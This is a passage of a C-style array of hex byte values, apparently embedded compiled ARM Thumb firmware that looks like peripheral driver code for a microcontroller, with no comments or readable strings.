0xbfu, 0xfdu, 0x10u, 0xbdu, 0x00u, 0x22u, 0xffu, 0xf7u, 0xadu, 0xfeu, 0xfau, 0xe7u, 0x34u, 0x07u, 0x00u, 0x08u,
0x10u, 0xb5u, 0x0bu, 0x03u, 0x34u, 0x22u, 0x00u, 0x21u, 0xffu, 0xf7u, 0xd6u, 0xfau, 0x10u, 0xbdu, 0x00u, 0x00u,
0x10u, 0xb5u, 0x0au, 0x4bu, 0x09u, 0x03u, 0x1bu, 0x68u, 0x12u, 0x01u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu,
0x06u, 0xd8u, 0x13u, 0x00u, 0x25u, 0x22u, 0x0bu, 0x43u, 0x00u, 0x21u, 0xffu, 0xf7u, 0xc5u, 0xfau, 0x10u, 0xbdu,
0x0fu, 0x23u, 0x13u, 0x43u, 0x0bu, 0x43u, 0x24u, 0x22u, 0xf6u, 0xe7u, 0xc0u, 0x46u, 0x34u, 0x07u, 0x00u, 0x08u,
0x10u, 0xb5u, 0x09u, 0x4bu, 0x09u, 0x03u, 0x1bu, 0x68u, 0x12u, 0x01u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu,
0x06u, 0xd8u, 0x13u, 0x00u, 0x0bu, 0x43u, 0x21u, 0x22u, 0x00u, 0x21u, 0xffu, 0xf7u, 0xadu, 0xfau, 0x10u, 0xbdu,
0x0fu, 0x23u, 0x13u, 0x43u, 0xf6u, 0xe7u, 0xc0u, 0x46u, 0x34u, 0x07u, 0x00u, 0x08u, 0x10u, 0xb5u, 0x0bu, 0x00u,
0x13u, 0x22u, 0x00u, 0x21u, 0xffu, 0xf7u, 0xa0u, 0xfau, 0x10u, 0xbdu, 0x00u, 0x00u, 0x10u, 0xb5u, 0x13u, 0x00u,
0x07u, 0x4au, 0x12u, 0x68u, 0x29u, 0x32u, 0x14u, 0x78u, 0x0cu, 0x22u, 0x1fu, 0x2cu, 0x00u, 0xd9u, 0x04u, 0x32u,
0x91u, 0x40u, 0x01u, 0x3bu, 0x0bu, 0x43u, 0x12u, 0x22u, 0x00u, 0x21u, 0xffu, 0xf7u, 0x8du, 0xfau, 0x10u, 0xbdu,
0x34u, 0x07u, 0x00u, 0x08u, 0x10u, 0xb5u, 0x1fu, 0x24u, 0x08u, 0x4bu, 0x89u, 0x06u, 0x1bu, 0x68u, 0x29u, 0x33u,
0x1bu, 0x78u, 0x9cu, 0x42u, 0xa4u, 0x41u, 0x13u, 0x00u, 0x64u, 0x42u, 0x0cu, 0x34u, 0xa3u, 0x40u, 0x80u, 0x22u,
0x0bu, 0x43u, 0x00u, 0x21u, 0xffu, 0xf7u, 0x78u, 0xfau, 0x10u, 0xbdu, 0xc0u, 0x46u, 0x34u, 0x07u, 0x00u, 0x08u,
0xf7u, 0xb5u, 0x04u, 0x00u, 0x1du, 0x00u, 0x5eu, 0x1cu, 0x01u, 0x92u, 0x0fu, 0x00u, 0x32u, 0x00u, 0x00u, 0x21u,
0xffu, 0xf7u, 0xccu, 0xffu, 0x32u, 0x00u, 0x01u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xc7u, 0xffu, 0x32u, 0x00u,
0x02u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xc2u, 0xffu, 0x2au, 0x00u, 0x03u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u,
0xd1u, 0xffu, 0x00u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x7bu, 0xffu, 0x22u, 0x4bu, 0x2cu, 0x22u, 0x1bu, 0x68u,
0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x00u, 0xd9u, 0x04u, 0x3au, 0x03u, 0x23u, 0x00u, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x4au, 0xfau, 0x80u, 0x23u, 0x30u, 0x22u, 0x9bu, 0x01u, 0x00u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x43u, 0xfau, 0x3eu, 0x03u, 0x39u, 0x00u, 0x3fu, 0x01u, 0x37u, 0x43u, 0x17u, 0x4eu, 0x20u, 0x00u, 0x3eu, 0x43u,
0x80u, 0x27u, 0xffu, 0xf7u, 0x5du, 0xffu, 0x7fu, 0x01u, 0x00u, 0x2du, 0x04u, 0xdau, 0x07u, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x8cu, 0xffu, 0xf7u, 0xbdu, 0x01u, 0x9bu, 0x37u, 0x22u, 0x3bu, 0x43u, 0x00u, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x2au, 0xfau, 0x0du, 0x4bu, 0x03u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x24u, 0xfau,
0x33u, 0x00u, 0x3au, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x1eu, 0xfau, 0x00u, 0x22u, 0x20u, 0x00u,
0x11u, 0x00u, 0xffu, 0xf7u, 0x5du, 0xffu, 0x02u, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u, 0xffu, 0xf7u, 0x40u, 0xffu,
0x01u, 0x3du, 0xd9u, 0xe7u, 0x34u, 0x07u, 0x00u, 0x08u, 0x02u, 0x00u, 0x30u, 0x00u, 0x01u, 0x00u, 0x30u, 0x00u,
0xf7u, 0xb5u, 0x04u, 0x00u, 0x08u, 0x9eu, 0x00u, 0x91u, 0x15u, 0x00u, 0x01u, 0x21u, 0x72u, 0x1cu, 0x77u, 0x00u,
0x01u, 0x93u, 0xffu, 0xf7u, 0x63u, 0xffu, 0x3au, 0x00u, 0x02u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x5eu, 0xffu,
0x3au, 0x00u, 0x03u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x59u, 0xffu, 0x32u, 0x00u, 0x00u, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x68u, 0xffu, 0xc0u, 0x23u, 0x01u, 0x9au, 0x9bu, 0x01u, 0x2du, 0x01u, 0x13u, 0x43u, 0x2bu, 0x43u,
0x33u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xe7u, 0xf9u, 0x40u, 0x4bu, 0x33u, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0xe1u, 0xf9u, 0x01u, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u, 0xffu, 0xf7u, 0x20u, 0xffu,
0x01u, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u, 0xffu, 0xf7u, 0x03u, 0xffu, 0x39u, 0x4bu, 0x33u, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0xd1u, 0xf9u, 0x37u, 0x4bu, 0x36u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u,
0xcbu, 0xf9u, 0x80u, 0x23u, 0x05u, 0x22u, 0xdbu, 0x01u, 0x00u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xc4u, 0xf9u,
0x31u, 0x4du, 0x24u, 0x22u, 0x2bu, 0x68u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x00u, 0xd9u, 0x01u, 0x3au,
0x2eu, 0x4bu, 0x00u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xb7u, 0xf9u, 0x01u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u,
0xd7u, 0xfeu, 0x00u, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u, 0xffu, 0xf7u, 0x24u, 0xffu, 0x2bu, 0x68u, 0x2cu, 0x22u,
0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x00u, 0xd9u, 0x04u, 0x3au, 0x80u, 0x23u, 0x20u, 0x00u, 0x5bu, 0x01u,
0x00u, 0x21u, 0xffu, 0xf7u, 0xa1u, 0xf9u, 0x32u, 0x00u, 0x20u, 0x00u, 0x00u, 0x21u, 0xffu, 0xf7u, 0x12u, 0xffu,
0x20u, 0x00u, 0x1fu, 0x4bu, 0x20u, 0x22u, 0x00u, 0x21u, 0xffu, 0xf7u, 0x96u, 0xf9u, 0x04u, 0x23u, 0x00u, 0x21u,
0x1au, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x90u, 0xf9u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x87u, 0xfeu, 0x20u, 0x00u,
0x18u, 0x4bu, 0x3au, 0x22u, 0x00u, 0x21u, 0xffu, 0xf7u, 0x87u, 0xf9u, 0x20u, 0x00u, 0x16u, 0x4bu, 0x03u, 0x22u,
0x00u, 0x21u, 0xffu, 0xf7u, 0x81u, 0xf9u, 0x20u, 0x00u, 0x14u, 0x4bu, 0x37u, 0x22u, 0x00u, 0x21u, 0xffu, 0xf7u,
0x7bu, 0xf9u, 0x20u, 0x00u, 0x10u, 0x4bu, 0x03u, 0x22u, 0x00u, 0x21u, 0xffu, 0xf7u, 0x75u, 0xf9u, 0x00u, 0x9bu,
0x20u, 0x00u, 0x1au, 0x03u, 0x02u, 0x23u, 0x00u, 0x21u, 0x13u, 0x43u, 0x30u, 0x22u, 0xffu, 0xf7u, 0x6cu, 0xf9u,
0x0eu, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xc2u, 0xfeu, 0xf7u, 0xbdu, 0xc0u, 0x46u, 0x3au, 0x10u, 0x00u, 0x00u,
0x18u, 0x20u, 0x00u, 0x00u, 0x23u, 0x20u, 0x00u, 0x00u, 0x34u, 0x07u, 0x00u, 0x08u, 0x20u, 0x20u, 0x00u, 0x00u,
0x10u, 0x10u, 0x00u, 0x00u, 0x21u, 0x30u, 0x00u, 0x00u, 0x23u, 0x00u, 0x30u, 0x00u, 0x28u, 0x30u, 0x00u, 0x00u,
0xf7u, 0xb5u, 0x06u, 0x00u, 0x1cu, 0x00u, 0x09u, 0x9bu, 0x01u, 0x91u, 0x5fu, 0x00u, 0x15u, 0x00u, 0x02u, 0x21u,
0x3au, 0x00u, 0xffu, 0xf7u, 0xabu, 0xfeu, 0x3au, 0x00u, 0x03u, 0x21u, 0x30u, 0x00u, 0xffu, 0xf7u, 0xa6u, 0xfeu,
0x09u, 0x9au, 0x00u, 0x21u, 0x30u, 0x00u, 0xffu, 0xf7u, 0xb5u, 0xfeu, 0x80u, 0x23u, 0x9bu, 0x01u, 0x2du, 0x01u,
0x23u, 0x43u, 0x2bu, 0x43u, 0x33u, 0x22u, 0x00u, 0x21u, 0x30u, 0x00u, 0xffu, 0xf7u, 0x35u, 0xf9u, 0x30u, 0x4bu,
0x24u, 0x22u, 0x1bu, 0x68u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x00u, 0xd9u, 0x01u, 0x3au, 0x30u, 0x00u,
0x2cu, 0x4bu, 0x00u, 0x21u, 0xffu, 0xf7u, 0x28u, 0xf9u, 0x08u, 0x9au, 0x2bu, 0x4bu, 0x30u, 0x00u, 0x13u, 0x43u,
0x00u, 0x21u, 0x33u, 0x22u, 0xffu, 0xf7u, 0x20u, 0xf9u, 0xc0u, 0x23u, 0x9bu, 0x01u, 0x2bu, 0x43u, 0x30u, 0x00u,
0x20u, 0x22u, 0x00u, 0x21u, 0xffu, 0xf7u, 0x18u, 0xf9u, 0x09u, 0x9bu, 0x30u, 0x00u, 0x9cu, 0x1cu, 0x22u, 0x00u,
0x00u, 0x21u, 0xffu, 0xf7u, 0x73u, 0xfeu, 0x32u, 0x23u, 0x30u, 0x00u, 0x37u, 0x22u, 0x00u, 0x21u, 0xffu, 0xf7u,
0x0bu, 0xf9u, 0x30u, 0x00u, 0x0cu, 0x21u, 0xffu, 0xf7u, 0x61u, 0xfeu, 0x30u, 0x00u, 0x22u, 0x00u, 0x01u, 0x21u,
0xffu, 0xf7u, 0x64u, 0xfeu, 0x80u, 0x23u, 0x08u, 0x9au, 0x5bu, 0x01u, 0x30u, 0x00u, 0x13u, 0x43u, 0x00u, 0x21u,
0x37u, 0x22u, 0xffu, 0xf7u, 0xf9u, 0xf8u, 0x30u, 0x00u, 0x14u, 0x4bu, 0x03u, 0x22u, 0x00u, 0x21u, 0xffu, 0xf7u,
0xf3u, 0xf8u, 0x10u, 0x23u, 0x08u, 0x9au, 0x30u, 0x00u, 0x13u, 0x43u, 0x00u, 0x21u, 0x37u, 0x22u, 0xffu, 0xf7u,
0xebu, 0xf8u, 0x01u, 0x9bu, 0x30u, 0x00u, 0x1cu, 0x03u, 0x0du, 0x4bu, 0x30u, 0x22u, 0x23u, 0x43u, 0x00u, 0x21u,
0xffu, 0xf7u, 0xe2u, 0xf8u, 0xc0u, 0x23u, 0x9bu, 0x03u, 0x30u, 0x00u, 0x23u, 0x43u, 0x30u, 0x22u, 0x00u, 0x21u,
0xffu, 0xf7u, 0xdau, 0xf8u, 0x30u, 0x00u, 0x03u, 0x21u, 0xffu, 0xf7u, 0x30u, 0xfeu, 0xf7u, 0xbdu, 0xc0u, 0x46u,
0x34u, 0x07u, 0x00u, 0x08u, 0x20u, 0x30u, 0x00u, 0x00u, 0x30u, 0x20u, 0x00u, 0x00u, 0x10u, 0x00u, 0x40u, 0x00u,
0x01u, 0x00u, 0x40u, 0x00u, 0xf8u, 0xb5u, 0x1du, 0x00u, 0x00u, 0x23u, 0x16u, 0x00u, 0x0fu, 0x00u, 0x10u, 0x22u,
0x19u, 0x00u, 0x04u, 0x00u, 0xffu, 0xf7u, 0xc0u, 0xf8u, 0xe0u, 0x23u, 0x00u, 0x22u, 0x1bu, 0x02u, 0x11u, 0x00u,
0x3bu, 0x43u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xb8u, 0xf8u, 0x90u, 0x23u, 0x00u, 0x22u, 0x1bu, 0x02u, 0x33u, 0x43u,
0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xb0u, 0xf8u, 0x2au, 0x00u, 0x0bu, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x0du, 0xfeu, 0x2au, 0x00u, 0x0cu, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x08u, 0xfeu, 0x2au, 0x00u, 0x0du, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x03u, 0xfeu, 0xd0u, 0x23u, 0x35u, 0x22u, 0x1bu, 0x02u, 0x00u, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x9au, 0xf8u, 0x0eu, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xbau, 0xfdu, 0x0bu, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0xb6u, 0xfdu, 0x6au, 0x1eu, 0x0au, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x03u, 0xfeu, 0x3au, 0x4eu,
0x2cu, 0x22u, 0x33u, 0x68u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x00u, 0xd9u, 0x04u, 0x3au, 0x37u, 0x4bu,
0x00u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x80u, 0xf8u, 0x30u, 0x22u, 0x35u, 0x4bu, 0x00u, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x7au, 0xf8u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x71u, 0xfdu, 0x0bu, 0x23u, 0x3fu, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x71u, 0xf8u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x68u, 0xfdu, 0x2du, 0x4fu, 0x3bu, 0x68u,
0xdbu, 0x6bu, 0xe3u, 0x18u, 0x1du, 0x68u, 0x04u, 0x23u, 0x1du, 0x40u, 0x41u, 0xd1u, 0x0bu, 0x22u, 0x20u, 0x00u,
0x11u, 0x00u, 0xffu, 0xf7u, 0x8du, 0xfdu, 0x0du, 0x23u, 0x29u, 0x00u, 0x3fu, 0x22u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x5bu, 0xf8u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x52u, 0xfdu, 0x3bu, 0x68u, 0xdbu, 0x6bu, 0xe3u, 0x18u, 0x1du, 0x68u,
0x02u, 0x23u, 0x1du, 0x40u, 0x0au, 0xd0u, 0x0du, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u, 0xffu, 0xf7u, 0x78u, 0xfdu,
0x0eu, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u, 0xffu, 0xf7u, 0x73u, 0xfdu, 0xcbu, 0xe7u, 0x1au, 0x4bu, 0x36u, 0x22u,
0x29u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x40u, 0xf8u, 0x33u, 0x68u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu,
0x13u, 0xd8u, 0x26u, 0x22u, 0x15u, 0x4bu, 0x29u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x35u, 0xf8u, 0x0eu, 0x22u,
0x20u, 0x00u, 0x11u, 0x00u, 0xffu, 0xf7u, 0x5cu, 0xfdu, 0x33u, 0x68u, 0x2cu, 0x22u, 0x29u, 0x33u, 0x1bu, 0x78u,
0x1fu, 0x2bu, 0x00u, 0xd9u, 0x04u, 0x3au, 0x0eu, 0x4bu, 0xa8u, 0xe7u, 0x0eu, 0x4bu, 0x25u, 0x22u, 0xeau, 0xe7u,
0xe0u, 0x21u, 0x20u, 0x00u, 0x89u, 0x01u, 0xffu, 0xf7u, 0x79u, 0xfdu, 0x00u, 0x23u, 0x11u, 0x22u, 0x19u, 0x00u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x19u, 0xf8u, 0xf8u, 0xbdu, 0x34u, 0x07u, 0x00u, 0x08u, 0x0au, 0xb0u, 0x00u, 0x00u,
0x09u, 0xc0u, 0x00u, 0x00u, 0x38u, 0x05u, 0x00u, 0x08u, 0xdcu, 0xd0u, 0x00u, 0x00u, 0xd0u, 0xd0u, 0x00u, 0x00u,
0x0au, 0xe0u, 0x00u, 0x00u, 0xdfu, 0xd0u, 0x00u, 0x00u, 0xf0u, 0xb5u, 0x85u, 0xb0u, 0x06u, 0x00u, 0x0fu, 0x00u,
0x02u, 0x93u, 0x0au, 0x9du, 0x0bu, 0x98u, 0x06u, 0x2au, 0x37u, 0xd8u, 0x21u, 0x4bu, 0x91u, 0x00u, 0xc9u, 0x58u,
0x20u, 0x4cu, 0x21u, 0x4bu, 0xa4u, 0x5cu, 0x9bu, 0x5cu, 0x01u, 0x22u, 0x3au, 0x70u, 0x1au, 0x19u, 0x0bu, 0x32u,
0x82u, 0x42u, 0x32u, 0xd8u, 0x2au, 0x78u, 0x00u, 0x2au, 0x2fu, 0xd1u, 0x6au, 0x78u, 0x01u, 0x2au, 0x2cu, 0xd1u,
0x02u, 0x1bu, 0x00u, 0x92u, 0xd2u, 0x1au, 0x94u, 0x46u, 0xaau, 0x18u, 0x50u, 0x1eu, 0x00u, 0x78u, 0x01u, 0x92u,
0x00u, 0x28u, 0x22u, 0xd1u, 0x62u, 0x46u, 0x28u, 0x00u, 0x03u, 0x3au, 0x03u, 0x92u, 0x42u, 0x1bu, 0x94u, 0x46u,
0x03u, 0x9au, 0x62u, 0x45u, 0x15u, 0xd8u, 0x9bu, 0xb2u, 0x01u, 0x9au, 0x30u, 0x00u, 0xffu, 0xf7u, 0xbeu, 0xfcu,
0x00u, 0x28u, 0x12u, 0xd1u, 0x00u, 0x9au, 0xa3u, 0xb2u, 0xaau, 0x18u, 0x02u, 0x99u, 0x30u, 0x00u, 0xffu, 0xf7u,
0xb5u, 0xfcu, 0x00u, 0x28u, 0x09u, 0xd1u, 0x38u, 0x70u, 0x07u, 0xe0u, 0x00u, 0x24u, 0x23u, 0x00u, 0x21u, 0x00u,
0xcau, 0xe7u, 0x01u, 0x30u, 0x42u, 0x78u, 0xffu, 0x2au, 0xe0u, 0xd0u, 0x00u, 0x20u, 0x05u, 0xb0u, 0xf0u, 0xbdu,
0x44u, 0x74u, 0x00u, 0x10u, 0x67u, 0x74u, 0x00u, 0x10u, 0x60u, 0x74u, 0x00u, 0x10u, 0xf0u, 0xb5u, 0x8bu, 0xb0u,
0x09u, 0x93u, 0x8bu, 0x68u, 0x04u, 0x00u, 0x05u, 0x93u, 0xcbu, 0x68u, 0x08u, 0x92u, 0x06u, 0x93u, 0x0bu, 0x68u,
0x4fu, 0x68u, 0x07u, 0x93u, 0x0bu, 0x69u, 0x8du, 0x69u, 0x03u, 0x93u, 0x4bu, 0x69u, 0x04u, 0x93u, 0xb3u, 0x4bu,
0x1bu, 0x68u, 0x1eu, 0x1eu, 0x02u, 0xd0u, 0x9bu, 0x6bu, 0xc3u, 0x18u, 0x1eu, 0x68u, 0x20u, 0x00u, 0xffu, 0xf7u,
0xc7u, 0xf8u, 0x31u, 0x00u, 0x82u, 0xb2u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xa8u, 0xfcu, 0x3au, 0x00u, 0x05u, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0xf3u, 0xfcu, 0x3au, 0x00u, 0x06u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xeeu, 0xfcu,
0x3au, 0x00u, 0x07u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xe9u, 0xfcu, 0x7eu, 0x1cu, 0x3au, 0x00u, 0x08u, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0xe3u, 0xfcu, 0x32u, 0x00u, 0x0au, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xdeu, 0xfcu,
0x3au, 0x00u, 0x0bu, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xd9u, 0xfcu, 0x3au, 0x00u, 0x09u, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0xd4u, 0xfcu, 0x3bu, 0x00u, 0x07u, 0x9au, 0x08u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x2eu, 0xffu,
0x06u, 0x9bu, 0x05u, 0x9au, 0x07u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x28u, 0xffu, 0x09u, 0x9bu, 0x08u, 0x9au,
0xdbu, 0x00u, 0x06u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x21u, 0xffu, 0x03u, 0x9bu, 0x00u, 0x2bu, 0x00u, 0xd0u,
0xd5u, 0xe0u, 0x20u, 0x00u, 0x3bu, 0x00u, 0x08u, 0x22u, 0x0au, 0x21u, 0xffu, 0xf7u, 0xe1u, 0xfcu, 0x20u, 0x00u,
0xffu, 0xf7u, 0x4cu, 0xfcu, 0x00u, 0x2du, 0x00u, 0xd0u, 0xd0u, 0xe0u, 0x90u, 0x23u, 0x35u, 0x22u, 0x1bu, 0x02u,
0x29u, 0x00u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x48u, 0xffu, 0x08u, 0x23u, 0x20u, 0x00u, 0x00u, 0x93u, 0x01u, 0x97u,
0x02u, 0x33u, 0x09u, 0x22u, 0x0bu, 0x21u, 0xffu, 0xf7u, 0xebu, 0xfdu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x36u, 0xfcu,
0x04u, 0x9bu, 0x00u, 0x2bu, 0x00u, 0xd0u, 0xc0u, 0xe0u, 0x20u, 0x00u, 0x3bu, 0x00u, 0x08u, 0x22u, 0x09u, 0x21u,
0xffu, 0xf7u, 0x68u, 0xfeu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x29u, 0xfcu, 0x00u, 0x23u, 0x10u, 0x22u, 0x19u, 0x00u,
0x20u, 0x00u, 0xfeu, 0xf7u, 0x29u, 0xffu, 0x00u, 0x22u, 0x75u, 0x4bu, 0x11u, 0x00u, 0x20u, 0x00u, 0xfeu, 0xf7u,
0x23u, 0xffu, 0x00u, 0x22u, 0x73u, 0x4bu, 0x11u, 0x00u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x1du, 0xffu, 0x00u, 0x22u,
0x71u, 0x4bu, 0x11u, 0x00u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x17u, 0xffu, 0x00u, 0x22u, 0x6fu, 0x4bu, 0x11u, 0x00u,
0x20u, 0x00u, 0xfeu, 0xf7u, 0x11u, 0xffu, 0x00u, 0x22u, 0x6du, 0x4bu, 0x11u, 0x00u, 0x20u, 0x00u, 0xfeu, 0xf7u,
0x0bu, 0xffu, 0x00u, 0x22u, 0x6bu, 0x4bu, 0x11u, 0x00u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x05u, 0xffu, 0x6au, 0x4bu,
0x30u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xffu, 0xfeu, 0x3au, 0x00u, 0x09u, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x5cu, 0xfcu, 0x3au, 0x00u, 0x0du, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x57u, 0xfcu, 0x3au, 0x00u,
0x0bu, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x52u, 0xfcu, 0x08u, 0x23u, 0x06u, 0x22u, 0x00u, 0x93u, 0x0du, 0x21u,
0x04u, 0x33u, 0x20u, 0x00u, 0x01u, 0x97u, 0xffu, 0xf7u, 0x93u, 0xfdu, 0x5cu, 0x4bu, 0x30u, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0xfeu, 0xf7u, 0xe1u, 0xfeu, 0x09u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x01u, 0xfcu, 0x58u, 0x4bu,
0x26u, 0x22u, 0x1bu, 0x68u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x00u, 0xd8u, 0x02u, 0x32u, 0x55u, 0x4bu,
0x00u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xd0u, 0xfeu, 0x20u, 0x00u, 0xffu, 0xf7u, 0xc7u, 0xfbu, 0x47u, 0x4eu,
0x0eu, 0x21u, 0x33u, 0x68u, 0x20u, 0x00u, 0x1bu, 0x69u, 0xe3u, 0x18u, 0x9au, 0x6bu, 0xddu, 0x6au, 0x92u, 0x00u,
0xedu, 0x04u, 0xedu, 0x0cu, 0x92u, 0x0cu, 0x01u, 0x35u, 0xadu, 0x1au, 0xffu, 0xf7u, 0x33u, 0xfcu, 0x4au, 0x4bu,
0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xb7u, 0xfeu, 0x00u, 0x2du, 0x44u, 0xdcu, 0x90u, 0x23u,
0x20u, 0x00u, 0x1bu, 0x02u, 0x35u, 0x22u, 0x00u, 0x21u, 0xfeu, 0xf7u, 0xaeu, 0xfeu, 0x05u, 0x22u, 0x09u, 0x23u,
0x11u, 0x00u, 0x20u, 0x00u, 0x00u, 0x97u, 0xffu, 0xf7u, 0x9bu, 0xfcu, 0xa8u, 0x21u, 0x20u, 0x00u, 0x89u, 0x01u,
0xffu, 0xf7u, 0xfcu, 0xfbu, 0x00u, 0x23u, 0x11u, 0x22u, 0x19u, 0x00u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x9cu, 0xfeu,
0x20u, 0x00u, 0xffu, 0xf7u, 0x93u, 0xfbu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x90u, 0xfbu, 0x3bu, 0x00u, 0x05u, 0x22u,
0x10u, 0x99u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x94u, 0xfeu, 0xfeu, 0x21u, 0x20u, 0x00u, 0x09u, 0x01u, 0xffu, 0xf7u,
0xe5u, 0xfbu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x82u, 0xfbu, 0x00u, 0x20u, 0x0bu, 0xb0u, 0xf0u, 0xbdu, 0x33u, 0x00u,
0x03u, 0x9au, 0x0au, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x41u, 0xfeu, 0x2bu, 0xe7u, 0x3bu, 0x00u, 0x2au, 0x00u,
0x0bu, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x3au, 0xfeu, 0x3au, 0xe7u, 0x3bu, 0x00u, 0x04u, 0x9au, 0x09u, 0x21u,
0x20u, 0x00u, 0x00u, 0xf0u, 0x33u, 0xfeu, 0x40u, 0xe7u, 0x0bu, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u, 0xffu, 0xf7u,
0xafu, 0xfbu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x62u, 0xfbu, 0x01u, 0x22u, 0x33u, 0x68u, 0xdbu, 0x6bu, 0xe3u, 0x18u,
0x1bu, 0x68u, 0x00u, 0x97u, 0x13u, 0x42u, 0x14u, 0xd0u, 0x04u, 0x32u, 0x0du, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x4eu, 0xfcu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x51u, 0xfbu, 0x0du, 0x23u, 0x00u, 0x97u, 0x1au, 0x00u,
0x19u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x44u, 0xfcu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x47u, 0xfbu, 0x01u, 0x3du,
0x93u, 0xe7u, 0x0du, 0x23u, 0x05u, 0x22u, 0x19u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x39u, 0xfcu, 0x20u, 0x00u,
0xffu, 0xf7u, 0x3cu, 0xfbu, 0x00u, 0x97u, 0x05u, 0x23u, 0xe9u, 0xe7u, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u,
